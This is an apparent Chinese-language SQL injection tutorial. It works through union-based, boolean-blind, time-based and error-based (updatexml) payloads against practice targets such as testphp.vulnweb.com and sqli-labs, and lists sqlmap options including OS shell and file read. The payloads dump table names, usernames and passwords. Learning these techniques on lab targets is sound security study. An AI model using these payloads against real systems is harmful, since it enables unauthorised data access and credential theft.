当前位置:   article > 正文

SQL注入漏洞学习笔记1_存在sql注入漏洞

存在sql注入漏洞

SQL注入漏洞学习笔记1

前言:

SQL是什么? SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统。SQL 语句用于取回和更新数据库中的数据。SQL 可与数据库程序协同工作,比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他数据库系统。

SQL注入是什么? SQL注入漏洞是发生于应用程序与数据库层的安全漏洞。SQL 注入是一种攻击方式,在这种攻击方式中,在字符串中插入恶意代码,然后将该字符串传递到 SQL Server 的实例以进行分析和执行,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。


一,SQL注入漏洞原理与分类:

1.SQL注入原理:

SQL注入的主要形式,就是用户输入变量能够直接将代码插入到与SQL命令串联在一起,使其能够执行。用户输入的变量能够实现注入过程。以下脚本演示一个简单的SQL注入:

(1)用户被提示输入名字时,如果用户输入 mike,则查询将由与下面内容相似的脚本组成:

SELECT * FROM tableName WHERE name = 'mike'
  • 1

(2)但是假定用户输入以下内容:(最后要留空格)

mike' or 1=1 --             
  • 1

(3)此时脚本将组成以下查询:(注意:“–” 注释要留有空格 )

SELECT * FROM tableName WHERE name = 'mike' or 1=1 -- '
  • 1

这个时候无论我们传入的name为何值,数据库都会把表格中的所有数据返还给我们。

这就是一个简单的SQL注入。


2.SQL注入分类:

  • 1、常见的sql注入按照参数类型可分为两种:数字型和字符型。当发生注入点的参数为整数时,比如 ID,num,page等,这种形式的就属于数字型注入漏洞。同样,当注入点是字符串时,则称为字符型注入,字符型注入需要引号来闭合。
  • 2、也可以根据数据库返回的结果,分为回显注入、报错注入、盲注。回显注入:可以直接在存在注入点的当前页面中获取返回结果。报错注入:程序将数据库的返回错误信息直接显示在页面中,虽然没有返回数据库的查询结果,但是可以构造一些报错语句从错误信息中获取想要的结果。盲注:程序后端屏蔽了数据库的错误信息,没有直接显示结果也没有报错信息,只能通过数据库的逻辑和延时函数来判断注入的结果。根据表现形式的不同,盲注又分为based boolean和based time两种类型。
  • 3、按照注入位置及方式不同分为:post注入,get注入,cookie注入,盲注,延时注入,搜索注入,base64注入,无论此种分类如何多,都可以归纳为以上两种形式。

3.注入的条件:

只有调用数据库的动态页面才有可有存在注入漏洞,动态页面包括asp php jsp cgi等。关于ASP页面:那什么是调用数据库页面呢?比如:asp?id= ; php?id= ; 这样的样子都是调用数据库的页面。




二,SQL手工注入的完整过程:

1.判断是否可以注入。

  • (1)在参数后面添加单引号或者双引号,查看返回包,如果报错或者长度变化,就可能存在SQL注入漏洞。例:http://xx/php?id=1 添加之后:http://xx/php?id=1' 如果页面返回错误,则存在SQL注入。这是因为引号个数不匹配导致的报错。
  • (2)添加逻辑运算。例如添加: [and 1 = 1] 和 [and 1 = 2] ,在添加逻辑运算之前我们要判断或者猜测输入点的数据类型和闭合方式,并对语句进行相应的引号,括号闭合。添加了逻辑运算符之后提交,因为1=1恒真,而1=2恒假,所以如果我们的输入带入了数据库,一定会影响到SQL语句的布尔状态,如果两次查询返回的页面不同,说明页面存在注入漏洞也存在布尔状态,我们可以考虑用布尔盲注进行注入。
  • (3)添加sleep()函数, sleep() 函数可以让程序在当前位置停留指定的时间,于是我们可以通过观察页面相应的时间来判断我们插入的参数是否会被代入数据库执行。比如我们添加了 and sleep(5) 后,观察查看开发者工具的网络选项卡中页面的响应时间是否增加了5秒。如果增加了5秒,则说明网页存在注入漏洞,我们可以考虑用延时注入进行注入。

下面我使用一个漏洞平台来演示,判断注入,链接如下:SQL


我们在结尾处添加一个单引号:

在这里插入图片描述


此时返回了一个报错信息,说明这个网页存在SQL注入漏洞。如果网页不是GET请求,而是POST请求,那么我们就要用到postman工具或者hackbar插件,在这里不做这些演示。

在这里插入图片描述



2.判断数据库的类型——数据库的指纹。

  • (1)根据页面返回的报错信息判断。

  • (2)根据默认端口判断:Oracle ,port:1521。SQL Server,port:1433。MySQL,port:3306

  • (3)根据数据库特有的数据表判断:

    oracle数据库:http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1

    mysql数据库:http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1 =1

    access数据库:http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1

  • (4)根据特定函数判断:

    <1>len和length:

    len():SQL Server 、MySQL以及db2返回长度的函数。

    length():Oracle和INFORMIX返回长度的函数。

    <2>version和@@version:
    version():MySQL查询版本信息的函数

    @@version:MySQL和SQL Server查询版本信息的函数。

    <3>substring和substr:

    在mssql中可以调用substring(), oracle则只可调用substr()。

  • (5)根据符号判断:

    /*`是MySQL数据库的注释符
    
    `--`是Oracle和SQL Server支持的注释符
    
    `;`是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库
    
    `#`是MySQL中的注释符,返回错误则说明可能不是MySQL,另外也支持`--` 和`/**/
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

3.获取数据库名。

select schema_name from information_schema.schemata
  • 1

4.获取表名。

select table_name from information_schema.tables where table_schema='库名';
  • 1

5.获取列名。

select column_name from information_schema.COLUMNS where table_name= '表名';
  • 1

6.获取数据。

select 列名 from 库名.表名
  • 1

以上是基本的步骤那么接下来我们来实际演示一下完整的注入过程


7.演示

还是以 SQL 这个漏洞平台做演示。我们借着使用关键字 ORDER BY 对记录进行升序或降序排列,即:testphp.vulnweb.com/artists.php?artist=1 and order by 1 如果没有报错,那么我们就一个一个数字去尝试:2,3,4…

当我们试到数字4的时候,我们得到一个报错,那么这意味着只有三条记录:

在这里插入图片描述


这时我们就要使用联合查询的注入技术选择不同表的描述进行更深入的渗透:我们输入 http://testphp.vulnweb.com/artists.php?artist=1 union select 1,2,3 可以的到一个表的描述信息,那么我们现在通过URL给数据库传递错误的输入,将artist=1 改成 artist=-1 ,也就是将第一条查询结果置为空。即: http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,3 ; 结果如下图:

在这里插入图片描述



在这里显示的是后两列的表。我们使用database() , version() 来获取数据库名,和数据库的版本:

在这里插入图片描述


获取表名:http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,database(),table_name from information_schema.tables where table_schema='acuart';

在这里插入图片描述


使用这个方法,我们只能够得到一个表名,无法得到多个,那么我们用以下URL来获取表名:

testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 这是第一个表。

testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,2 这是第二个表,以此类推,当我们得到空白页面时,即可结束。

在这里插入图片描述


在这里插入图片描述


我们可以得到:一共有八个表:分别是,1.artists,2.carts,3.categ,4.featured,5.guestbook,6.pictures,7.products,8.users。


获取列名, 我们使用concat函数来获取表的所有列名:testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名'

比如说我们想要获取,用户的账号密码,我们可以用表名users做尝试,testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'


在这里插入图片描述


我们可以得到,uname pass 的列名,我们继续用concat 函数从表users查询uname:testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(uname),3 from users我们可以得到如下:

在这里插入图片描述


同理我们也可以得到 pass的值。




三,SQL注入工具:


1.sqlmap介绍。

SQLMAP是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL和SQL注入漏洞,其广泛的功能和选项包括数据库指纹,枚举,数据库提权,访问目标文件系统,并在获取操作权限时执行任意命令。SQLMAP是开源的自动化SQL注入工具,由Python写成,完全支持MySQL、Oracle、PostgreSQL、MSSQL、Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。更加详情的内容可以移步:sqlmap: automatic SQL injection and database takeover tool


安装:官网下载 -> 放进python文件夹 -> 配置环境变量 -> cmd启动 。 具体的操作可以查询其他人的教程。


支持的注入技术:

类型描述
boolean-based blind基于Boolean的盲注
time-based blind基于时间的盲注
error-based基于报错
UNION query-based基于联合查询
stacked queries基于多条SQL语句(堆叠注入)
out-of-band (OOB)非应用内通信注入,如DNSLog


2.sqlmap基本命令

(1)选项:

-h,--help  显示基本帮助信息并退出
-hh  显示高级帮助信息并退出
--version  显示程序版本信息并退出
  • 1
  • 2
  • 3

(2)目标:

在这些选项中必须提供至少有一个确定目标。

-u  目标URL  
例:sqlmap -u "www.abc.com/index.php?id=1"
-m  后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。
例:sqlmap -m target.txt
-r  可以将一个post请求方式的数据包(bp抓包)保存在一个txt中,sqlmap会通过post方式检测目标。
例:sqlmap -r bp.txt
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

(3)请求:

这些选项可以用来指定如何连接到目标URL。

--method=METHOD 指定是get方法还是post方法。
例: --method=GET --method=POST

--random-agent  
使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3时会检测user-agent注入。

--proxy=PROXY 指定一个代理。
例: --proxy="127.0.0.1:8080" 使用GoAgent代理。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

(4)注入:

这些选项可用于指定要测试的参数,提供自定义注入有效荷载和可选得到篡改脚本。

-p  测试参数
例:  sqlmap -r bp.txt -p "username"
--skip-static  跳过测试静态参数(有的时候注入有多个参数,那么有些无关紧要的参数修改后页面是没有变化的)
--no-cast  获取数据时,sqlmap会将所有数据转换成字符串,并用空格代替null。(这个在我们注入失败的时候偶尔会见到,提示尝试使用--no-cast)
--tamper=TAMPER 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。
  • 1
  • 2
  • 3
  • 4
  • 5

(5)检测:

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

--level=LEVEL  执行测试的等级(1-5,默认为1) 
lv2:cookie; lv3:user-agent,refere; lv5:host 
在sqlmap/xml/payloads文件内可以看见各个level发送的payload  常使用--level 3

--risk=RISK  执行测试的风险(0-3,默认为1) 
risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
升高风险等级会增加数据被篡改的风险。  常用就是默认1
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

(6)枚举:

这些选项可以用来列举后端数据库管理系统的信息,表中的结构和数据。脱库时使用。

-b, --banner        获取数据库管理系统的标识
--current-user      获取数据库管理系统当前用户
--current-db        获取数据库管理系统当前数据库
--hostname          获取数据库服务器的主机名称
--is-dba            检测DBMS当前用户是否DBA
--users             枚举数据库管理系统用户
--passwords         枚举数据库管理系统用户密码哈希
--privileges        枚举数据库管理系统用户的权限
--dbs              枚举数据库管理系统数据库
--tables           枚举DBMS数据库中的表
--columns          枚举DBMS数据库表列
-D                  要进行枚举的指定数据库名
-T                  要进行枚举的指定表名
-C                  要进行枚举的指定列名
--dump             转储数据库表项,查询字段值
--search           搜索列(S),表(S)和/或数据库名称(S)
--sql-query=QUERY   要执行的SQL语句
--sql-shell         提示交互式SQL的shell
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

(7)文件操作:

这些选项可以被用来访问后端数据库管理系统的底层文件系统。

--file-read=RFILE     从后端的数据库管理系统文件系统读取文件
--file-write=WFILE    编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE     后端的数据库管理系统写入文件的绝对路径
  • 1
  • 2
  • 3

(8)操作系统访问:

这些选项可以用于访问后端数据库管理系统的底层操作系统。

--os-cmd=OSCMD        执行操作系统命令(OSCMD)
--os-shell            交互式的操作系统的shell
  • 1
  • 2




四,靶场实战

1.靶场搭建:

我们使用的是sqli-labs 靶场,包含了七十多个靶场环境。下载地址:https://github.com/Audi-1/sqli-labs , 下载之后把解压后的文件放进,PHPstudy 的 www文件中, 在PHPstudy中部署即可。\


2.闯关实践:

补充:SQL注入分类:

  • 回显正常 ---->联合查询 union select

  • 回显报错 ---->Duplicate entry()
    extractvalue()
       updatexml()

  • 盲注 ----> 布尔盲注

    ​ 基于事件的盲注, sleep()




(1)回显正常:

sql-labs, Less-1

1.首先,我们在URL后面输入 ?id=1 ,会有正常的数据返回。

2.我们利用报错,来确定表格有多少列:如果报错就代表超过列数 。

?id=1' order by 1 --+
?id=1' order by 2 --+
?id=1' order by 3 --+
?id=1' order by 4 --+                     ...
  • 1
  • 2
  • 3
  • 4

当我们试到4的时候报错。说明数据有三列。

3.我们需要查看这三列数据,哪一列数据可以回显。在1前面添加“-”,把1注释掉,不显示数据,再使用union select 语句

?id=-1' union select 1,2,3 --+

在这里插入图片描述

这就说明了2,3这两个位置有回显,可以进行利用

4.利用这两个位置,我们就可以获取到数据表的信息了,比如,数据库名,数据库版本,表名等,具体语句如下:

?id=-1'union select 1,database(),version()--+

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

5.爆字段名,我们可以将下面代码的emails替换成referers,uagents,users;查询这四张表。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'--+

在这里插入图片描述

6.让数据库给我们回显,username和password的内容,在这里我是用id来分隔。

?id=-1' union select 1,2,group_concat(id , username , password) from users--+


这就是回显正常的例子,我们使用联合查询来得到我们要的数据。




(2)布尔盲注:

适用场景:没有数据回显,条件正确有结果,错误没结果。

利用方式:构造判断条件(and),逐个猜测(盲猜)

常用函数:

# 获取字段函数:length()
select length(database())

# 截取字段
mid(str,start,length)  #:字符串截取
substr()   #等价于mid()函数
left(str, num)   #选择从左边开始截取字符串

# 转化成ASCII码
ORD()
ASCII()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

布尔盲注基本流程:

猜测数据库长度:

length(database()) > 8 --+    :符合条件返回正确,反之返回错误
  • 1

猜测数据库库名:

mid(database(),1,1)= 'z' --+    :因为需要验证的字符太多,所以转化为ascii码验证

ORD(mid(database(),1,1)) > 100 --+ :通过确定ascii码,从而确定数据库名
  • 1
  • 2
  • 3

猜测数据库总数:

(select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2  --+   :判断表的总数
  • 1

猜测第一个表名的长度:

(select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 1 --+
  • 1

猜测第一个表名:

mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit      0,1 ),1,1) = 'a'  --+

或者

ORD(mid(select TABLE_NAME from information_schema.TABLES where 
TABLE_SCHEMA = database() limit 0,1),1,1)) >100   --+
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

猜测表的字段的总数:

(select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 1 --+
  • 1

猜测第一个字段的长度:

(select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+
  • 1

猜测第一个字段名:

mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+

或者

ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+
  • 1
  • 2
  • 3
  • 4
  • 5

接下来我们实战演示:

我们打开sql-labs的第五关,Less-5:

1.判断,通过注入发现,这一关并没有数据回显。我们发送 ?id=1' and 1=2 --+?id=1' and 1=2 --+ 后发现,页面返回的数据只显示两种结果,一种是真,一种是假,这时我们可以选择布尔盲注。

2.布尔盲注猜测数据库长度:

?id=1' and length(database())>5 --+
?id=1' and length(database())>10 --+
?id=1' and length(database())>7 --+
?id=1' and length(database())>8 --+
  • 1
  • 2
  • 3
  • 4

直到>8报错,所以数据库长度为8。

3.猜测数据库名:

?id=1' and ascii(substr(database(),1,1))=115 --+   #第一位字母
?id=1' and ascii(substr(database(),2,1))=115 --+   #第二位字母
  • 1
  • 2

4.猜测表名的长度:

?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10 --+
  • 1

5.猜测表名的字母:

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100 --+
  • 1

6.猜测字段名长度:

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
  • 1

7.猜测字段名字母:

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
  • 1

在这里,我讲的是注入的原理,如果你觉得手工注入太过于冗杂,我们可以直接使用sqlmap工具,也可以用脚本,脚本参考:Python自动化sql注入





(3)时间盲注(延迟盲注):

适用场景:没有数据回显,条件正确与否返回的结果都一样。

利用方式:构造判断条件(and),添加sleep,逐个猜测(盲猜)。

常用函数:

# 判断,如果expression真,则val1,否则执行val2
if(expression, val1, val2)

#睡眠n秒:
sleep(n)

# 例:如果数据库名字长度为6,则睡眠5秒,否则返回0。
select sleep(if(select length(database()) = 6),1, 0))select if(length(database()) = 6, sleep(5), 0)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

我们直接实战演示:

我们打开sqllibs 的第9关:Less-9。

<1> 判断注入类型:我们用下面这两个url去做尝试,发现不管条件是否正确,回显都是一样的,那么我们可以考虑用延迟盲注。

?id=1' and 1=1 --+ 
?id=1' and 1=2 --+ 
  • 1
  • 2

<2>构造url猜测数据库长度:

?id=1' and if(length(database())>10, sleep(5),0) --+ 
  • 1

补充;如何判断是否延迟了5秒呢,我们可以观察刷新按钮,如果是符号: X。 那么就是在延迟。也可以用开发者工具观察 Timing -> waiting。


<3>猜测数据库库名:

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0) --+
  • 1

<4>猜测表名:

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),0)--+

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,sleep(3),0)--+
  • 1
  • 2
  • 3

<5>判断列名:

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(2),1)--+

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),2,1))=100,sleep(2),1)--+

  • 1
  • 2
  • 3
  • 4




(4)基于报错注入

适用场景:没有数据回显,条件正确与否结果一样,sleep()没有区别,但是错误信息会打印出来。

利用方式:利用语法错误,把value在前段输出。

注入概念: 数据库在执行SQL语句时,通常会先对SQL进行检测,如果SQL语句存在问题,就会返回错误信息。通过这种机制,我们可以构造恶意的SQL,触发数据库报错,而在报错信息中就存在着我们想要的信息。但通过这种方式,首先要保证SQL结构的正确性。


常用函数:

# 1.从XML节点中寻找节点:extractvalue
extractvalue (xml_document, Xpath_string)
# xml_document 是string格式,为xml文档对象的名称。
# Xpath_string是xpath格式的字符串。

# 2.更新XML节点的值:updateXML
updateXML(xml_document, xpath_string, new_value)
# xml_document是string格式,为xml文档对象的名称。
# xpath_string是xpath格式的字符串。
# new_value是string格式,替换查找到的负荷条件的数据 。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

实战演示:

使用sli-labs的第五关,Less-5来演示:

<1>判断,我们输入 ?id=1?id=-1 之后,都没有回显,使用判断语句也没有回显,这时候,我们可以考虑使用报错注入。

<2>我们使用updatexml报错注入:

爆数据库名:

?id=1' and updatexml(1,concat(0x7e, database()),1) --+
  • 1

爆表名:

?id=1' and updatexml(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e),1) --+
  • 1

爆列名:

?id=1' and updatexml(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), 0x7e),1) --+
  • 1

爆内容:

?id=1' and updatexml(1,concat(0x7e, (select group_concat(username , id, password) from security.users), 0x7e),1) --+
  • 1

在这里插入图片描述






Thanks!!!!

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/很楠不爱3/article/detail/152754?site
推荐阅读
相关标签
  

闽ICP备14008679号